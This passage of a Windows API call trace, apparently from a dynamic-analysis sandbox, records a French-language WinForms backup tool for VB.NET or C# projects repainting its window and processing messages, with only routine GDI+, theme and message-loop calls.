GdipReleaseDC (graphics=0x4c358c0, hdc=0x320107d6) returned 0x0 [0097.175] GetFocus () returned 0x0 [0097.175] IsAppThemed () returned 0x1 [0097.175] GetThemeAppProperties () returned 0x3 [0097.175] GetThemeAppProperties () returned 0x3 [0097.175] GdipGetDC (graphics=0x4c358c0, hdc=0x32ec94) returned 0x0 [0097.175] BitBlt (hdc=0x3010821, x=0, y=0, cx=163, cy=29, hdcSrc=0x320107d6, x1=0, y1=0, rop=0xcc0020) returned 1 [0097.177] GdipReleaseDC (graphics=0x4c358c0, hdc=0x320107d6) returned 0x0 [0097.177] SelectPalette (hdc=0x3010821, hPal=0x188000b, bForceBkgd=0) returned 0x1d080842 [0097.177] SelectObject (hdc=0x320107d6, h=0x185000f) returned 0x70050254 [0097.177] DeleteDC (hdc=0x320107d6) returned 1 [0097.177] GdipDeleteGraphics (graphics=0x4c358c0) returned 0x0 [0097.177] EndPaint (hWnd=0x201e4, lpPaint=0x32ec38) returned 1 [0097.177] PeekMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x32f158) returned 0 [0097.177] PeekMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x32f158) returned 0 [0097.177] WaitMessage () returned 1 [0097.217] PeekMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x32f158) returned 1 [0097.217] IsWindowUnicode (hWnd=0x201d6) returned 1 [0097.217] GetMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x32f158) returned 1 [0097.217] TranslateMessage (lpMsg=0x32f158) returned 0 [0097.217] DispatchMessageW (lpMsg=0x32f158) returned 0x0 [0097.217] PeekMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x32f158) returned 0 [0097.217] PeekMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x32f158) returned 0 [0097.217] WaitMessage () returned 1 [0097.427] PeekMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x32f158) returned 1 [0097.427] IsWindowUnicode (hWnd=0x201d8) returned 1 [0097.427] GetMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x32f158) returned 1 [0097.427] TranslateMessage (lpMsg=0x32f158) returned 0 [0097.427] DispatchMessageW (lpMsg=0x32f158) returned 0x0 [0097.427] PeekMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x32f158) returned 0 [0097.427] PeekMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x32f158) returned 0 [0097.427] WaitMessage () returned 1 [0107.272] PeekMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x32f158) returned 1 [0107.272] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x50120, Msg=0x46, wParam=0x0, lParam=0x32f040) returned 0x0 [0107.272] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x301b4, Msg=0x46, wParam=0x0, lParam=0x32f040) returned 0x0 [0107.284] GetWindowPlacement (in: hWnd=0x50120, lpwndpl=0x32edf0 | out: lpwndpl=0x32edf0) returned 1 [0107.284] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x50120, Msg=0x47, wParam=0x0, lParam=0x32f040) returned 0x0 [0107.284] GetClientRect (in: hWnd=0x50120, lpRect=0x32eda0 | out: lpRect=0x32eda0) returned 1 [0107.284] GetWindowRect (in: hWnd=0x50120, lpRect=0x32eda0 | out: lpRect=0x32eda0) returned 1 [0107.285] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x301b4, Msg=0x47, wParam=0x0, lParam=0x32f040) returned 0x0 [0107.285] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x301b4, Msg=0xd, wParam=0x104, lParam=0x4b8edb8) returned 0x0 [0107.285] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x50120, Msg=0x1c, wParam=0x1, lParam=0x518) returned 0x0 [0107.285] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x301b4, Msg=0x1c, wParam=0x1, lParam=0x518) returned 0x0 [0107.285] NtdllDefWindowProc_W () returned 0x0 [0107.285] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x50120, Msg=0x86, wParam=0x1, lParam=0x0) returned 0x1 [0107.294] GetFocus () returned 0x0 [0107.294] SetFocus (hWnd=0x201e4) returned 0x0 [0107.294] CallWindowProcW (lpPrevWndFunc=0x73cbb495, hWnd=0x201e4, Msg=0x281, wParam=0x1, lParam=0xc000000f) returned 0x0 [0107.294] GetKeyboardLayout (idThread=0x0) returned 0x4090409 [0107.294] CallWindowProcW (lpPrevWndFunc=0x73cbb495, hWnd=0x201e4, Msg=0x282, wParam=0x2, lParam=0x0) returned 0x0 [0107.294] GetKeyboardLayout (idThread=0x0) returned 0x4090409 [0107.294] CallWindowProcW (lpPrevWndFunc=0x73cbb495, hWnd=0x201e4, Msg=0x7, wParam=0x0, lParam=0x0) returned 0x0 [0107.295] GetStockObject (i=5) returned 0x1900015 [0107.295] CallWindowProcW (lpPrevWndFunc=0x73cbb495, hWnd=0x201e4, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x19 [0107.295] CallWindowProcW (lpPrevWndFunc=0x73cbb495, hWnd=0x201e4, Msg=0xd, wParam=0x1a, lParam=0x64af58) returned 0x19 [0107.295] GetDlgItem (hDlg=0x50120, nIDDlgItem=131556) returned 0x201e4 [0107.295] SendMessageW (hWnd=0x201e4, Msg=0x202b, wParam=0x201e4, lParam=0x32e838) returned 0x0 [0107.295] CallWindowProcW (lpPrevWndFunc=0x73cbb495, hWnd=0x201e4, Msg=0x202b, wParam=0x201e4, lParam=0x32e838) returned 0x0 [0107.295] InvalidateRect (hWnd=0x201e4, lpRect=0x0, bErase=0) returned 1 [0107.295] IsWindowUnicode (hWnd=0x201e4) returned 1 [0107.296] GetMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x32f158) returned 1 [0107.296] TranslateMessage (lpMsg=0x32f158) returned 0 [0107.296] DispatchMessageW (lpMsg=0x32f158) returned 0x0 [0107.296] PeekMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x32f158) returned 1 [0107.296] IsWindowUnicode (hWnd=0x201e4) returned 1 [0107.296] GetMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x32f158) returned 1 [0107.296] GetKeyState (nVirtKey=16) returned 0 [0107.296] GetKeyState (nVirtKey=17) returned 0 [0107.296] GetKeyState (nVirtKey=18) returned -128 [0107.296] TranslateMessage (lpMsg=0x32f158) returned 1 [0107.296] DispatchMessageW (lpMsg=0x32f158) returned 0x0 [0107.296] GetKeyState (nVirtKey=16) returned 0 [0107.296] GetKeyState (nVirtKey=17) returned 0 [0107.296] GetKeyState (nVirtKey=18) returned -128 [0107.296] CallWindowProcW (lpPrevWndFunc=0x73cbb495, hWnd=0x201e4, Msg=0x105, wParam=0x1b, lParam=0xe0010001) returned 0x0 [0107.296] PeekMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x32f158) returned 1 [0107.296] IsWindowUnicode (hWnd=0x201e4) returned 1 [0107.296] GetMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x32f158) returned 1 [0107.296] GetKeyState (nVirtKey=16) returned 0 [0107.297] GetKeyState (nVirtKey=17) returned 0 [0107.297] GetKeyState (nVirtKey=18) returned 0 [0107.297] TranslateMessage (lpMsg=0x32f158) returned 1 [0107.297] DispatchMessageW (lpMsg=0x32f158) returned 0x0 [0107.297] GetKeyState (nVirtKey=16) returned 0 [0107.297] GetKeyState (nVirtKey=17) returned 0 [0107.297] GetKeyState (nVirtKey=18) returned 0 [0107.297] CallWindowProcW (lpPrevWndFunc=0x73cbb495, hWnd=0x201e4, Msg=0x101, wParam=0x12, lParam=0xc0380001) returned 0x0 [0107.297] PeekMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x32f158) returned 1 [0107.297] IsWindowUnicode (hWnd=0x201e4) returned 1 [0107.297] GetMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x32f158) returned 1 [0107.297] TranslateMessage (lpMsg=0x32f158) returned 0 [0107.297] DispatchMessageW (lpMsg=0x32f158) returned 0x0 [0107.297] BeginPaint (in: hWnd=0x201e4, lpPaint=0x32ec3c | out: lpPaint=0x32ec3c) returned 0x3010821 [0107.297] SelectPalette (hdc=0x3010821, hPal=0x1d080842, bForceBkgd=1) returned 0x188000b [0107.297] CreateCompatibleDC (hdc=0x3010821) returned 0x460107d6 [0107.298] SelectObject (hdc=0x460107d6, h=0x70050254) returned 0x185000f [0107.298] GdipCreateFromHDC (hdc=0x460107d6, graphics=0x32ec54) returned 0x0 [0107.298] GdipTranslateWorldTransform (graphics=0x4c358c0, dx=0x0, dy=0x0, order=0x0) returned 0x0 [0107.298] GdipSetClipRectI (graphics=0x4c358c0, x=0, y=0, width=163, height=29, combineMode=0x0) returned 0x0 [0107.298] GdipCreateMatrix (matrix=0x32ec9c) returned 0x0 [0107.298] GdipGetWorldTransform (graphics=0x4c358c0, matrix=0x4c35ba0) returned 0x0 [0107.298] GdipIsMatrixIdentity (matrix=0x4c35ba0, result=0x32ecb4) returned 0x0 [0107.298] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x4e61dc8 [0107.298] GdipGetMatrixElements (matrix=0x4c35ba0, matrixOut=0x4e61dc8) returned 0x0 [0107.298] LocalFree (hMem=0x4e61dc8) returned 0x0 [0107.298] GdipDeleteMatrix (matrix=0x4c35ba0) returned 0x0 [0107.298] GdipCreateRegion (region=0x32ec9c) returned 0x0 [0107.298] GdipGetClip (graphics=0x4c358c0, region=0x4c35bd0) returned 0x0 [0107.299] GdipIsInfiniteRegion (region=0x4c35bd0, graphics=0x4c358c0, result=0x32eca8) returned 0x0 [0107.299] GdipSaveGraphics (graphics=0x4c358c0, state=0x32ecd4) returned 0x0 [0107.299] GdipRestoreGraphics (graphics=0x4c358c0, state=0xfd930dbd) returned 0x0 [0107.299] GdipDeleteRegion (region=0x4c35bd0) returned 0x0 [0107.299] GdipGetDC (graphics=0x4c358c0, hdc=0x32eac0) returned 0x0 [0107.299] GetCurrentObject (hdc=0x460107d6, type=0x1) returned 0x1b00017 [0107.299] GetCurrentObject (hdc=0x460107d6, type=0x2) returned 0x1900010 [0107.299] GetCurrentObject (hdc=0x460107d6, type=0x7) returned 0x70050254 [0107.299] GetCurrentObject (hdc=0x460107d6, type=0x6) returned 0x18a002e [0107.299] SaveDC (hdc=0x460107d6) returned 1 [0107.299] GetNearestColor (hdc=0x460107d6, color=0xf0f0f0) returned 0xf0f0f0 [0107.299] GetNearestColor (hdc=0x460107d6, color=0xa0a0a0) returned 0xa0a0a0 [0107.300] GetNearestColor (hdc=0x460107d6, color=0x696969) returned 0x696969 [0107.300] GetNearestColor (hdc=0x460107d6, color=0xa0a0a0) returned 0xa0a0a0 [0107.300] GetNearestColor (hdc=0x460107d6, color=0x0) returned 0x0 [0107.300] GetNearestColor (hdc=0x460107d6, color=0xffffff) returned 0xffffff [0107.300] GetNearestColor (hdc=0x460107d6, color=0xe5e5e5) returned 0xe5e5e5 [0107.300] GetNearestColor (hdc=0x460107d6, color=0xd7d7d7) returned 0xd7d7d7 [0107.300] GetNearestColor (hdc=0x460107d6, color=0x0) returned 0x0 [0107.300] RestoreDC (hdc=0x460107d6, nSavedDC=-1) returned 1 [0107.300] GdipReleaseDC (graphics=0x4c358c0, hdc=0x460107d6) returned 0x0 [0107.300] IsAppThemed () returned 0x1 [0107.300] GetThemeAppProperties () returned 0x3 [0107.300] GetThemeAppProperties () returned 0x3 [0107.300] IsAppThemed () returned 0x1 [0107.300] GetThemeAppProperties () returned 0x3 [0107.301] GetThemeAppProperties () returned 0x3 [0107.301] DrawTextExW (in: hdc=0x11010846, lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", cchText=25, lprc=0x32e97c, format=0x2415, lpdtp=0x26de8e4 | out: lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", lprc=0x32e97c) returned 13 [0107.301] IsAppThemed () returned 0x1 [0107.301] GetThemeAppProperties () returned 0x3 [0107.301] GetThemeAppProperties () returned 0x3 [0107.301] IsAppThemed () returned 0x1 [0107.301] GetThemeAppProperties () returned 0x3 [0107.301] GetThemeAppProperties () returned 0x3 [0107.301] GetFocus () returned 0x201e4 [0107.301] IsAppThemed () returned 0x1 [0107.301] GetThemeAppProperties () returned 0x3 [0107.301] GetThemeAppProperties () returned 0x3 [0107.301] IsAppThemed () returned 0x1 [0107.301] GetThemeAppProperties () returned 0x3 [0107.301] GetThemeAppProperties () returned 0x3 [0107.301] IsThemePartDefined () returned 0x1 [0107.301] IsAppThemed () returned 0x1 [0107.302] GetThemeAppProperties () returned 0x3 [0107.302] GetThemeAppProperties () returned 0x3 [0107.302] IsThemeBackgroundPartiallyTransparent () returned 0x1 [0107.302] IsAppThemed () returned 0x1 [0107.302] GetThemeAppProperties () returned 0x3 [0107.302] GetThemeAppProperties () returned 0x3 [0107.302] IsAppThemed () returned 0x1 [0107.302] GetThemeAppProperties () returned 0x3 [0107.302] GetThemeAppProperties () returned 0x3 [0107.302] IsThemePartDefined () returned 0x1 [0107.302] GdipCreateRegion (region=0x32e9c4) returned 0x0 [0107.302] GdipGetClip (graphics=0x4c358c0, region=0x4c35bd0) returned 0x0 [0107.302] GdipCreateMatrix (matrix=0x32e9c4) returned 0x0 [0107.302] GdipGetWorldTransform (graphics=0x4c358c0, matrix=0x4c34f90) returned 0x0 [0107.302] GdipIsMatrixIdentity (matrix=0x4c34f90, result=0x32e9dc) returned 0x0 [0107.303] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x4e61dc8 [0107.303] GdipGetMatrixElements (matrix=0x4c34f90, matrixOut=0x4e61dc8) returned 0x0 [0107.303] LocalFree (hMem=0x4e61dc8) returned 0x0 [0107.303] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x4e61dc8 [0107.303] GdipGetMatrixElements (matrix=0x4c34f90, matrixOut=0x4e61dc8) returned 0x0 [0107.303] LocalFree (hMem=0x4e61dc8) returned 0x0 [0107.303] GdipDeleteMatrix (matrix=0x4c34f90) returned 0x0 [0107.303] GdipIsInfiniteRegion (region=0x4c35bd0, graphics=0x4c358c0, result=0x32ea04) returned 0x0 [0107.303] GdipIsInfiniteRegion (region=0x4c35bd0, graphics=0x4c358c0, result=0x32e9f4) returned 0x0 [0107.303] GdipGetRegionHRgn (region=0x4c35bd0, graphics=0x4c358c0, hRgn=0x32e9f4) returned 0x0 [0107.303] GdipDeleteRegion (region=0x4c35bd0) returned 0x0 [0107.303] GdipGetDC (graphics=0x4c358c0, hdc=0x32ea0c) returned 0x0 [0107.304] GetCurrentObject (hdc=0x460107d6, type=0x1) returned 0x1b00017 [0107.304] GetCurrentObject (hdc=0x460107d6, type=0x2) returned 0x1900010 [0107.304] GetCurrentObject (hdc=0x460107d6, type=0x7) returned 0x70050254 [0107.304] GetCurrentObject (hdc=0x460107d6, type=0x6) returned 0x18a002e [0107.304] SaveDC (hdc=0x460107d6) returned 1 [0107.304] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x5b0401e3 [0107.304] GetClipRgn (hdc=0x460107d6, hrgn=0x5b0401e3) returned 0 [0107.304] SelectClipRgn (hdc=0x460107d6, hrgn=0x5b040850) returned 2 [0107.304] DeleteObject (ho=0x5b0401e3) returned 1 [0107.304] DeleteObject (ho=0x5b040850) returned 1 [0107.304] OffsetViewportOrgEx (in: hdc=0x460107d6, x=0, y=0, lppt=0x26def94 | out: lppt=0x26def94) returned 1 [0107.304] DrawThemeParentBackground () returned 0x0 [0107.304] GetWindowPlacement (in: hWnd=0x50120, lpwndpl=0x32e780 | out: lpwndpl=0x32e780) returned 1 [0107.304] GetClientRect (in: hWnd=0x50120, lpRect=0x32e72c | out: lpRect=0x32e72c) returned 1 [0107.304] GetWindowTextLengthW (hWnd=0x50120) returned 35 [0107.304] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x50120, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x23 [0107.304] GetSystemMetrics (nIndex=42) returned 0 [0107.304] GetWindowTextW (in: hWnd=0x50120, lpString=0x32e5bc, nMaxCount=36 | out: lpString="Sauvegarde d'un projet VB Net ou C#") returned 35 [0107.304] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x50120, Msg=0xd, wParam=0x24, lParam=0x32e5bc) returned 0x23 [0107.305] GetClientRect (in: hWnd=0x50120, lpRect=0x32e634 | out: lpRect=0x32e634) returned 1 [0107.305] GetCurrentObject (hdc=0x460107d6, type=0x1) returned 0x1b00017 [0107.305] GetCurrentObject (hdc=0x460107d6, type=0x2) returned 0x1900010 [0107.305] GetCurrentObject (hdc=0x460107d6, type=0x7) returned 0x70050254 [0107.305] GetCurrentObject (hdc=0x460107d6, type=0x6) returned 0x18a002e [0107.305] SaveDC (hdc=0x460107d6) returned 2 [0107.305] GetNearestColor (hdc=0x460107d6, color=0xf0f0f0) returned 0xf0f0f0 [0107.305] CreateSolidBrush (color=0xf0f0f0) returned 0x2210084d [0107.305] FillRect (hDC=0x460107d6, lprc=0x32e4d4, hbr=0x2210084d) returned 1 [0107.305] DeleteObject (ho=0x2210084d) returned 1 [0107.305] RestoreDC (hdc=0x460107d6, nSavedDC=-1) returned 1 [0107.305] GetWindowTextLengthW (hWnd=0x50120) returned 35 [0107.305] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x50120, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x23 [0107.305] GetSystemMetrics (nIndex=42) returned 0 [0107.305] GetWindowTextW (in: hWnd=0x50120, lpString=0x32e55c, nMaxCount=36 | out: lpString="Sauvegarde d'un projet VB Net ou C#") returned 35 [0107.305] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x50120, Msg=0xd, wParam=0x24, lParam=0x32e55c) returned 0x23 [0107.305] GetClientRect (in: hWnd=0x50120, lpRect=0x32e5d4 | out: lpRect=0x32e5d4) returned 1 [0107.305] GetCurrentObject (hdc=0x460107d6, type=0x1) returned 0x1b00017 [0107.305] GetCurrentObject (hdc=0x460107d6, type=0x2) returned 0x1900010 [0107.306] GetCurrentObject (hdc=0x460107d6, type=0x7) returned 0x70050254 [0107.306] GetCurrentObject (hdc=0x460107d6, type=0x6) returned 0x18a002e [0107.306] SaveDC (hdc=0x460107d6) returned 2 [0107.306] GetNearestColor (hdc=0x460107d6, color=0xf0f0f0) returned 0xf0f0f0 [0107.306] CreateSolidBrush (color=0xf0f0f0) returned 0x2310084d [0107.306] FillRect (hDC=0x460107d6, lprc=0x32e474, hbr=0x2310084d) returned 1 [0107.306] DeleteObject (ho=0x2310084d) returned 1 [0107.306] RestoreDC (hdc=0x460107d6, nSavedDC=-1) returned 1 [0107.306] GetWindowTextLengthW (hWnd=0x50120) returned 35 [0107.306] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x50120, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x23 [0107.306] GetSystemMetrics (nIndex=42) returned 0 [0107.306] GetWindowTextW (in: hWnd=0x50120, lpString=0x32e55c, nMaxCount=36 | out: lpString="Sauvegarde d'un projet VB Net ou C#") returned 35 [0107.306] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x50120, Msg=0xd, wParam=0x24, lParam=0x32e55c) returned 0x23 [0107.306] RestoreDC (hdc=0x460107d6, nSavedDC=-1) returned 1 [0107.306] GdipReleaseDC (graphics=0x4c358c0, hdc=0x460107d6) returned 0x0 [0107.306] IsAppThemed () returned 0x1 [0107.306] GetThemeAppProperties () returned 0x3 [0107.306] GetThemeAppProperties () returned 0x3 [0107.306] IsAppThemed () returned 0x1 [0107.307] GetThemeAppProperties () returned 0x3 [0107.307] GetThemeAppProperties () returned 0x3 [0107.307] IsThemePartDefined () returned 0x1 [0107.307] GdipCreateRegion (region=0x32e968) returned 0x0 [0107.307] GdipGetClip (graphics=0x4c358c0, region=0x4c35ba0) returned 0x0 [0107.307] GdipCreateMatrix (matrix=0x32e968) returned 0x0 [0107.307] GdipGetWorldTransform (graphics=0x4c358c0, matrix=0x4c35c30) returned 0x0 [0107.307] GdipIsMatrixIdentity (matrix=0x4c35c30, result=0x32e980) returned 0x0 [0107.307] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x4e61dc8 [0107.307] GdipGetMatrixElements (matrix=0x4c35c30, matrixOut=0x4e61dc8) returned 0x0 [0107.307] LocalFree (hMem=0x4e61dc8) returned 0x0 [0107.307] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x4e61dc8 [0107.307] GdipGetMatrixElements (matrix=0x4c35c30, matrixOut=0x4e61dc8) returned 0x0 [0107.307] LocalFree (hMem=0x4e61dc8) returned 0x0 [0107.307] GdipDeleteMatrix (matrix=0x4c35c30) returned 0x0 [0107.307] GdipIsInfiniteRegion (region=0x4c35ba0, graphics=0x4c358c0, result=0x32e9a8) returned 0x0 [0107.307] GdipIsInfiniteRegion (region=0x4c35ba0, graphics=0x4c358c0, result=0x32e998) returned 0x0 [0107.307] GdipGetRegionHRgn (region=0x4c35ba0, graphics=0x4c358c0, hRgn=0x32e998) returned 0x0 [0107.307] GdipDeleteRegion (region=0x4c35ba0) returned 0x0 [0107.307] GdipGetDC (graphics=0x4c358c0, hdc=0x32e9b0) returned 0x0 [0107.307] GetCurrentObject (hdc=0x460107d6, type=0x1) returned 0x1b00017 [0107.307] GetCurrentObject (hdc=0x460107d6, type=0x2) returned 0x1900010 [0107.308] GetCurrentObject (hdc=0x460107d6, type=0x7) returned 0x70050254 [0107.308] GetCurrentObject (hdc=0x460107d6, type=0x6) returned 0x18a002e [0107.308] SaveDC (hdc=0x460107d6) returned 1 [0107.308] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x5c040850 [0107.308] GetClipRgn (hdc=0x460107d6, hrgn=0x5c040850) returned 0 [0107.308] SelectClipRgn (hdc=0x460107d6, hrgn=0x5d0401e3) returned 2 [0107.308] DeleteObject (ho=0x5c040850) returned 1 [0107.308] DeleteObject (ho=0x5d0401e3) returned 1 [0107.308] OffsetViewportOrgEx (in: hdc=0x460107d6, x=0, y=0, lppt=0x26df9cc | out: lppt=0x26df9cc) returned 1 [0107.308] IsAppThemed () returned 0x1 [0107.308] GetThemeAppProperties () returned 0x3 [0107.308] GetThemeAppProperties () returned 0x3 [0107.308] DrawThemeBackground () returned 0x0 [0107.308] RestoreDC (hdc=0x460107d6, nSavedDC=-1) returned 1 [0107.308] GdipReleaseDC (graphics=0x4c358c0, hdc=0x460107d6) returned 0x0 [0107.308] GdipCreateRegion (region=0x32e950) returned 0x0 [0107.308] GdipGetClip (graphics=0x4c358c0, region=0x4c35ba0) returned 0x0 [0107.308] GdipCreateMatrix (matrix=0x32e950) returned 0x0 [0107.308] GdipGetWorldTransform (graphics=0x4c358c0, matrix=0x4c34f90) returned 0x0 [0107.308] GdipIsMatrixIdentity (matrix=0x4c34f90, result=0x32e968) returned 0x0 [0107.309] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x4e61dc8 [0107.309] GdipGetMatrixElements (matrix=0x4c34f90, matrixOut=0x4e61dc8) returned 0x0 [0107.309] LocalFree (hMem=0x4e61dc8) returned 0x0 [0107.309] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x4e61dc8 [0107.309] GdipGetMatrixElements (matrix=0x4c34f90, matrixOut=0x4e61dc8) returned 0x0 [0107.309] LocalFree (hMem=0x4e61dc8) returned 0x0 [0107.309] GdipDeleteMatrix (matrix=0x4c34f90) returned 0x0 [0107.309] GdipIsInfiniteRegion (region=0x4c35ba0, graphics=0x4c358c0, result=0x32e990) returned 0x0 [0107.309] GdipIsInfiniteRegion (region=0x4c35ba0, graphics=0x4c358c0, result=0x32e980) returned 0x0 [0107.309] GdipGetRegionHRgn (region=0x4c35ba0, graphics=0x4c358c0, hRgn=0x32e980) returned 0x0 [0107.309] GdipDeleteRegion (region=0x4c35ba0) returned 0x0 [0107.309] GdipGetDC (graphics=0x4c358c0, hdc=0x32e998) returned 0x0 [0107.309] GetCurrentObject (hdc=0x460107d6, type=0x1) returned 0x1b00017 [0107.309] GetCurrentObject (hdc=0x460107d6, type=0x2) returned 0x1900010 [0107.309] GetCurrentObject (hdc=0x460107d6, type=0x7) returned 0x70050254 [0107.309] GetCurrentObject (hdc=0x460107d6, type=0x6) returned 0x18a002e [0107.309] SaveDC (hdc=0x460107d6) returned 1 [0107.309] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x5e0401e3 [0107.310] GetClipRgn (hdc=0x460107d6, hrgn=0x5e0401e3) returned 0 [0107.310] SelectClipRgn (hdc=0x460107d6, hrgn=0x5d040850) returned 2 [0107.310] DeleteObject (ho=0x5e0401e3) returned 1 [0107.310] DeleteObject (ho=0x5d040850) returned 1 [0107.310] OffsetViewportOrgEx (in: hdc=0x460107d6, x=0, y=0, lppt=0x26dfca0 | out: lppt=0x26dfca0) returned 1 [0107.310] IsAppThemed () returned 0x1 [0107.310] GetThemeAppProperties () returned 0x3 [0107.310] GetThemeAppProperties () returned 0x3 [0107.310] GetThemeBackgroundContentRect () returned 0x0 [0107.310] RestoreDC (hdc=0x460107d6, nSavedDC=-1) returned 1 [0107.310] GdipReleaseDC (graphics=0x4c358c0, hdc=0x460107d6) returned 0x0 [0107.310] IsAppThemed () returned 0x1 [0107.310] GetThemeAppProperties () returned 0x3 [0107.310] GetThemeAppProperties () returned 0x3 [0107.310] GdipGetTextRenderingHint (graphics=0x4c358c0, mode=0x32eac8) returned 0x0 [0107.310] GdipGetDC (graphics=0x4c358c0, hdc=0x32eab4) returned 0x0 [0107.310] GetCurrentObject (hdc=0x460107d6, type=0x1) returned 0x1b00017 [0107.310] GetCurrentObject (hdc=0x460107d6, type=0x2) returned 0x1900010 [0107.310] GetCurrentObject (hdc=0x460107d6, type=0x7) returned 0x70050254 [0107.310] GetCurrentObject (hdc=0x460107d6, type=0x6) returned 0x18a002e [0107.310] SaveDC (hdc=0x460107d6) returned 1 [0107.310] GetTextAlign (hdc=0x460107d6) returned 0x0 [0107.311] GetTextColor (hdc=0x460107d6) returned 0x0 [0107.311] GetCurrentObject (hdc=0x460107d6, type=0x6) returned 0x18a002e [0107.311] GetObjectW (in: h=0x18a002e, c=92, pv=0x32e7bc | out: pv=0x32e7bc) returned 92 [0107.311] SelectObject (hdc=0x460107d6, h=0x100a0252) returned 0x18a002e [0107.311] GetBkMode (hdc=0x460107d6) returned 2 [0107.311] SetBkMode (hdc=0x460107d6, mode=1) returned 2 [0107.311] DrawTextExW (in: hdc=0x460107d6, lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", cchText=25, lprc=0x32e890, format=0x2415, lpdtp=0x26e0034 | out: lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", lprc=0x32e890) returned 13 [0107.311] DrawTextExW (in: hdc=0x460107d6, lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", cchText=25, lprc=0x32ea48, format=0x2015, lpdtp=0x26e0034 | out: lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", lprc=0x32ea48) returned 13 [0107.311] RestoreDC (hdc=0x460107d6, nSavedDC=-1) returned 1 [0107.311] GdipReleaseDC (graphics=0x4c358c0, hdc=0x460107d6) returned 0x0 [0107.312] GetFocus () returned 0x201e4 [0107.312] IsAppThemed () returned 0x1 [0107.312] GetThemeAppProperties () returned 0x3 [0107.312] GetThemeAppProperties () returned 0x3 [0107.312] GdipGetDC 